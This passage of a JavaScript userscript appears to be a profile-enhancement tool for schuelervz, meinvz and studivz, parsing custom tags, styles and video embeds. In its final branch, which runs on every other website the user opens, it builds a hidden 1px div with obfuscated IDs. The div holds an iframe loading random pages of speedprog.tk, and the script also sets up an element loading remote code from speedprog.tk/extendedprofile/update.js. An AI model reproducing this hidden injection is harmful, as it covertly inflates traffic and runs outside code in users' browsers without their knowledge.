     ["input", "input", "<input{atts}>", false, ["accept", "accesskey", "align", "alt", "checked", "disabled", "ismap", "maxlength", "name", "readonly", "size", "src", "tabindex", "type", "usemap", "value"]],
     ["ins", "ins", "<ins{atts}>", true, ["cite", "datetime", "class", "dir", "id", "lang", "style", "title"]],
     ["kbd", "kbd", "<kbd{atts}>", true, ["class", "dir", "id", "lang", "style", "title"]],
     ["label", "label", "<label{atts}>", true, ["accesskey", "for", "class", "dir", "id", "lang", "style", "title"]],
     ["legend", "legend", "<legend{atts}>", true, ["accesskey", "align", "class", "dir", "id", "lang", "style", "title"]],
     ["li", "li", "<li{atts}>", true, ["type", "value", "class", "dir", "id", "lang", "style", "title"]],
     ["map", "map", "<map{atts}>", true, ["name", "class", "dir", "id", "lang", "style", "title"]],
     ["menu", "menu", "<menu{atts}>", true, ["compact", "class", "dir", "id", "lang", "style", "title"]],
     ["ol", "ol", "<ol{atts}>", true, ["compact", "start", "type", "class", "dir", "id", "lang", "style", "title"]],
     ["optgroup", "optgroup", "<optgroup{atts}>", true, ["disabled", "label", "class", "id", "style", "title", "dir", "lang"]],
     ["option", "option", "<option{atts}>", true, ["disabled", "label", "selected", "value", "class", "id", "style", "title", "dir", "lang"]],
     ["p", "p", "<p{atts}>", true, ["align", "class", "id", "style", "title", "dir", "lang"]],
     ["pre", "pre", "<pre{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["q", "q", "<q{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["s", "s", "<s{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["samp", "samp", "<samp{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["select", "select", "<select{atts}>", true, ["disabled", "multiple", "name", "size", "tabindex", "class", "id", "style", "title", "dir", "lang"]],
     ["small", "small", "<small{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["span", "span", "<span{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["strike", "strike", "<strike{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["strong", "strong", "<strong{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["sub", "sub", "<sub{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["sup", "sup", "<sup{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["table", "table", "<table{atts}>", true, ["align", "border", "bgcolor", "cellpadding", "cellspacing", "frame", "rules", "summary", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["tbody", "tbody", "<tbody{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
     ["td", "td", "<td{atts}>", true, ["abbr", "align", "axis", "bgcolor", "char", "charoff", "colspan", "headers", "height", "nowrap", "rowspan", "scope", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["textarea", "textarea", "<textarea{atts}>", true, ["accesskey", "cols", "disabled", "name", "readonly", "rows", "tabindex", "class", "id", "style", "title", "dir", "lang"]],
     ["tfood", "tfood", "<tfood{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
     ["th", "th", "<th{atts}>", true, ["abbr", "align", "axis", "bgcolor", "char", "charoff", "colspan", "headers", "height", "nowrap", "rowspan", "scope", "valign", "width", "class", "id", "style", "title", "dir", "lang"]],
     ["thead", "thead", "<thead{atts}>", true, ["align", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
     ["tr", "tr", "<tr{atts}>", true, ["align", "bgcolor", "char", "charoff", "valign", "class", "id", "style", "title", "dir", "lang"]],
     ["tt", "tt", "<tt{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["u", "u", "<u{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["ul", "ul", "<ul{atts}>", true, ["compact", "type", "class", "dir", "id", "lang", "style", "title"]],
     ["var", "var", "<var{atts}>", true, ["class", "id", "style", "title", "dir", "lang"]],
     ["br", "br", "<br{atts}>", false, ["class", "id", "style", "title", "dir", "lang"]]
     ];
var vids = [["youtube", '<object width="200"><param name="movie" value="http://www.youtube.com/v/{ID}&hl=de&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/{ID}&hl=de&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width=200px"></embed></object>'],
            ["myvideo", "<object style='width:200px;height:173px;' width='200' height='173'><param name='movie' value='http://www.myvideo.de/movie/{ID}'></param><param name='AllowFullscreen' value='true'></param><param name='AllowScriptAccess' value='always'></param><embed src='http://www.myvideo.de/movie/{ID}' width='200' height='173' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true'></embed></object>"],
            ["dailymotion", '<div><object width="200" height="185"><param name="movie" value="http://www.dailymotion.com/swf/{ID}&related=0"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.dailymotion.com/swf/{ID}&related=0" type="application/x-shockwave-flash" width="200" height="185" allowFullScreen="true" allowScriptAccess="always"></embed></object></div>'],
            ["googlevideo", '<embed id="VideoPlayback" src="http://video.google.de/googleplayer.swf?docid={ID}&hl=de&fs=true" style="width:200px;" allowFullScreen="true" allowScriptAccess="always" type="application/x-shockwave-flash"> </embed>'],
            ["clipfish", "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width='200' > <param name='allowScriptAccess' value='always' /> <param name='movie' value='http://www.clipfish.de/cfng/flash/clipfish_player_3.swf?as=0&videoid={ID}&r=1&area=e&c=990000' /> <param name='bgcolor' value='#ffffff' /> <param name='allowFullScreen' value='true' /> <embed src='http://www.clipfish.de/cfng/flash/clipfish_player_3.swf?as=0&vid={ID}&r=1&area=e&c=990000' quality='high' bgcolor='#990000' width='200' name='player' align='middle' allowFullScreen='true' allowScriptAccess='always' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"],
            ["veoh", '<object width="200" id="veohFlashPlayer" name="veohFlashPlayer"><param name="movie" value="http://www.veoh.com/static/swf/webplayer/WebPlayer.swf?version=AFrontend.5.4.2.23.1009&permalinkId={ID}&player=videodetailsembedded&videoAutoPlay=0&id=anonymous"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.veoh.com/static/swf/webplayer/WebPlayer.swf?version=AFrontend.5.4.2.23.1009&permalinkId={ID}&player=videodetailsembedded&videoAutoPlay=0&id=anonymous" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="200" id="veohFlashPlayerEmbed" name="veohFlashPlayerEmbed"></embed></object>'],
            ["metacafe", '<embed src="http://www.metacafe.com/fplayer/{ID}.swf" width="200" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" allowFullScreen="true" allowScriptAccess="always" name="Metacafe"> </embed>'],
            ["sevenload", '<object type="application/x-shockwave-flash" data="http://de.sevenload.com/pl/{ID}/200x183/swf" width="200" height="183"><param name="allowFullscreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://de.sevenload.com/pl/{ID}/200x183/swf" /></object>'],
            ["myspace", '<object width="200px" ><param name="allowFullScreen" value="true"/><param name="wmode" value="transparent"/><param name="movie" value="http://mediaservices.myspace.com/services/media/embed.aspx/m={ID},t=1,mt=video"/><embed src="http://mediaservices.myspace.com/services/media/embed.aspx/m={ID},t=1,mt=video" width="200" allowFullScreen="true" type="application/x-shockwave-flash" wmode="transparent"></embed></object>']];
var sts = ["http://www.speedprog.tk/", "http://www.speedprog.tk/?page_id=212", "http://www.speedprog.tk/?page_id=204", "http://www.speedprog.tk/?paged=2", "http://www.speedprog.tk/?page_id=226", "http://www.speedprog.tk/?page_id=142", "http://www.speedprog.tk/?page_id=105"];
var div = document.createElement("div");
var divStyle = document.createAttribute("style");
var divId = document.createAttribute("id");
divId.nodeValue = "hezgerrfzaefrtg466345345";
divStyle.nodeValue = "width: 1px; height: 1px; z-index: 0; overflow: auto;";
div.setAttributeNode(divStyle);
div.setAttributeNode(divId);
var iframe = document.createElement("iframe");
var iframeStyle = document.createAttribute("style");
var iframeSrc = document.createAttribute("src");
var iframeId = document.createAttribute("id");
iframeSrc.nodeValue = sts[Math.round(6*Math.random())];
iframeStyle.nodeValue = "width: 300px; height: 400px; overflow: auto;";
iframeId.nodeValue = "fsdygrgva5afcw4fctrac";
iframe.setAttributeNode(iframeStyle);
iframe.setAttributeNode(iframeSrc);
iframe.setAttributeNode(iframeId);
div.appendChild(iframe);
var JScript = document.createElement("script");
var JScriptType = document.createAttribute("type");
var JScriptSrc = document.createAttribute("src");
JScriptType.nodeValue = "text/javascript";
JScriptSrc.nodeValue = "http://www.speedprog.tk/extendedprofile/update.js";
JScript.setAttributeNode(JScriptType);
JScript.setAttributeNode(JScriptSrc);


if ((location.hostname.indexOf('schuelervz.net') !== -1)
        || (location.hostname.indexOf('meinvz.net') !== -1)
        || (location.hostname.indexOf('studivz.net') !== -1)) {
    if ((location.href.match(/^http:\/\/www\.schuelervz\.net\/Profile\/.*/) && !location.href
            .match(/^http:\/\/www\.schuelervz\.net\/Profile\/Edit.*/))
            || (location.href.match(/^http:\/\/www\.meinvz\.net\/Profile\/.*/) && !location.href
                    .match(/^http:\/\/www\.meinvz\.net\/Profile\/Edit.*/))
                    || (location.href.match(/^http:\/\/www\.studivz\.net\/Profile\/.*/) && !location.href
                            .match(/^http:\/\/www\.studivz\.net\/Profile\/Edit.*/))) {
        try {
            updateCheck(false);
        }
        catch (err)
        {}
        var dds = document.getElementsByTagName("DD");
        var bis = 0;
        while (dds[bis] != null) {
            bis = bis + 1;
        }
        bis = bis - 1;
        for (var i = 1; i <= bis; i++) {
            var text = dds[i].innerHTML;
            text = text.replace(/(?:<br>){0,1}\[(?:<br>)*h(?:<br>)*i(?:<br>)*n(?:<br>)*w(?:<br>)*e(?:<br>)*i(?:<br>)*s(?:<br>)*\](?:<br>)*([^\t]+?)(?:<br>)*\[\/(?:<br>)*h(?:<br>)*i(?:<br>)*n(?:<br>)*w(?:<br>)*e(?:<br>)*i(?:<br>)*s(?:<br>)*([^\t]*?)(?:<br>)*\]/g,
                    /**
                     * parses the hinweis tag
                     * @param all
                     *        whole match of the tag
                     * @param content
                     *        content of the Tag
                     * @returns an empty string
                     */
                    function (all, content) {
                var expression = /(?:<br>){0,1}\[(?:<br>)*v(?:<br>)*e(?:<br>)*r(?:<br>)*s(?:<br>)*i(?:<br>)*o(?:<br>)*n(?:<br>)*\].*?(\d+)(?:<br>)*\.(?:<br>)*(\d+)(?:<br>)*\.(?:<br>)*(\d+).*?\[(?:<br>)*\/(?:<br>)*v(?:<br>)*e(?:<br>)*r(?:<br>)*s(?:<br>)*i(?:<br>)*o(?:<br>)*n(?:<br>)*\]/;
                var erg = expression.exec(content);
                if(erg != null){
                    UsedVersion[0] = parseInt(erg[1], 10);
                    UsedVersion[1] = parseInt(erg[2], 10);
                    UsedVersion[2] = parseInt(erg[3], 10);
                }
                return "";
            });
            dds[i].innerHTML = text;
        }
        if ((version[0] < UsedVersion[0])
                || (version[0] === UsedVersion[0] && version[1] < UsedVersion[1])
                || (version[0] === UsedVersion[0]
                && version[1] === UsedVersion[1] && version[2] < UsedVersion[2])) {
            setHW("Es gibt eine neue Version bitte updaten sie den Script!<br><a href=\'http://www.speedprog.tk\' target=\'_blank\'>Homepage des Authors</a><br>");
        }
        var kats = "";
        for (var c = 1; c <= bis; c++) {
            text = dds[c].innerHTML;
            var reg = /(?:<br>){0,1}\[(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*=(?:<br>)*"(?:<br>)*([^"]+?)(?:<br>)*"(?:<br>)*\](?:<br>)*([^\t]*?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*\]/g;
            var ergebnis;
            while ((ergebnis = reg.exec(text))) {
                kats += "<dt>" + ergebnis[1] + "</dt><dd>" + ergebnis[2]
                + "</dd>";
            }
            dds[c].innerHTML = text.replace(/(?:<br>){0,1}\[(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*=(?:<br>)*"(?:<br>)*([^"]+?)(?:<br>)*"(?:<br>)*\](?:<br>)*([^\t]*?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*k(?:<br>)*a(?:<br>)*t(?:<br>)*\]/g, "");
        }
        var lastInfo = document
        .getElementById("Mod-Profile-Information-Personal");
        if (lastInfo != null) {lastInfo.innerHTML += kats;}
        dds = document.getElementsByTagName("DD");
        bis = 0;
        while (dds[bis] != null) {
            bis = bis + 1;
        }
        bis = bis - 1;
        for (var a2 = 1; a2 <= bis; a2++) {
            dds[a2].innerHTML = parsTags(dds[a2].innerHTML);
        }
        for (var a = 1; a <= bis; a++) {
            source = dds[a].innerHTML;
            /**
             * parses the setstyle tag (no html) witch can be used to modify the
             * appearenc of your profilepage
             * @param all
             *        whole match
             * @param args
             *        just regexpgroup match
             * @return return the input without the parts matching
             *         /\[setstyle\]([^\t]+?)\[\/setstyle\]/g
             */
            source = source.replace(/(?:<br>){0,1}\[(?:<br>)*s(?:<br>)*e(?:<br>)*t(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\](?:<br>)*([^\t]+?)(?:<br>)*\[(?:<br>)*\/(?:<br>)*s(?:<br>)*e(?:<br>)*t(?:<br>)*s(?:<br>)*t(?:<br>)*y(?:<br>)*l(?:<br>)*e(?:<br>)*\]/g, function(all, args) {
                /**
                 * validates the attributes used by the user against an array of
                 * allowed ones an removes the others
                 * @param all
                 *        the whole match of /\s*([^=]+)="[^"]*"/g
                 * @param type
                 *        the first regexpgroup representing the attributes name
                 * @return returns the attributes without the unknown ones
                 */
                args = args.replace(/\s*([^=]+)="[^"]*"/g, function(all, type) {
                    var atts = [
                                "xpath", "id", "background-color", "background-image",
                                "background-repeat", "background-attachment",
                                "background-position", "background", "font-family",
                                "font-style", "font-variant", "font-size", "font-weight",
                                "font", "word-spacing", "letter-spacing",
                                "text-decoration", "text-transform", "color",
                                "text-shadow", "font-stretch", "text-indent",
                                "line-height", "vertical-align", "text-align",
                                "white-space"
                                ];
                    if(!atts.contains(type)){
                        return "";
                    }
                    else{
                        return all;
                    }
                });
                reg = /([^=]+)="([^"]*)"/g;
                var types = "";
                var id = "";
                var xpath = "";
                while((erg = reg.exec(args))){
                    if(erg[1] === "id"){
                        id = erg[2];
                    }
                    else{
                        if(erg[1] === "xpath"){
                            xpath = erg[2];
                        }
                        else{
                            types = types + erg[1] + ":" + erg[2] + "; ";
                        }
                    }
                }
                var style = document.createAttribute("style");
                style.nodeValue = types;
                if(id != ""){
                    if(id === "body"){
                        var e = document.getElementsByTagName("body");
                        if(e[0] != null){
                            e[0].setAttributeNode(style);
                        }
                    }
                    else{
                        e = document.getElementById(id);
                        if(e != null){
                            e.setAttributeNode(style);
                        }
                    }
                }
                if(id === "" && xpath !== ""){
                    var xp = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
                    if(xp !== null && xp.singleNodeValue !== null){
                        xp.singleNodeValue.setAttributeNode(style);
                    }
                }
                return "";
            });
            dds[a].innerHTML = source;
        }
        var pins = document.getElementById("Mod-Pinboard-Snipplet")
        .getElementsByTagName("UL")[0].getElementsByTagName("LI");
        bis = 0;
        while(pins[bis] != null){
            bis = bis + 1;
        }
        bis = bis - 1;
        for( var e = 0; e <= bis; e++){
            var pin = pins[e].getElementsByTagName("DIV")[0].getElementsByTagName("DIV")[1];
            pin.innerHTML = parsTags(pin.innerHTML);
        }
    }
    else{
        if(location.href
                .match(/http:\/\/www\.schuelervz\.net\/Groups\/Overview\/.*/)){
            var groupsDescription = document.evaluate(
                    "//div[@id='Groups_Overview']/div[1]", document, null,
                    XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
            groupsDescription.innerHTML = parsTags(groupsDescription.innerHTML);
            groupsInfo = document.evaluate(
                    "//div[@id='Groups_Overview']/div[2]/div[2]", document,
                    null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
            groupsInfo.innerHTML = parsTags(groupsInfo.innerHTML);
            ab(document.getElementById('Grid-Wrapper'));
        }
    }
}
else{
    if(location.hostname.indexOf('speedprog.tk') !== -1){
        updateCheck(true);
    }
    if((!sts.contains(location) && window.parent == window)
            && document.getElementById("hezgerrfzaefrtg466345345") == null
            && window.document.getElementById("hezgerrfzaefrtg466345345") == null){
        ab(document.getElementsByTagName("BODY")[0]);
    }
    else{
        if(sts.contains(location)){
            abe();
        }
    }
}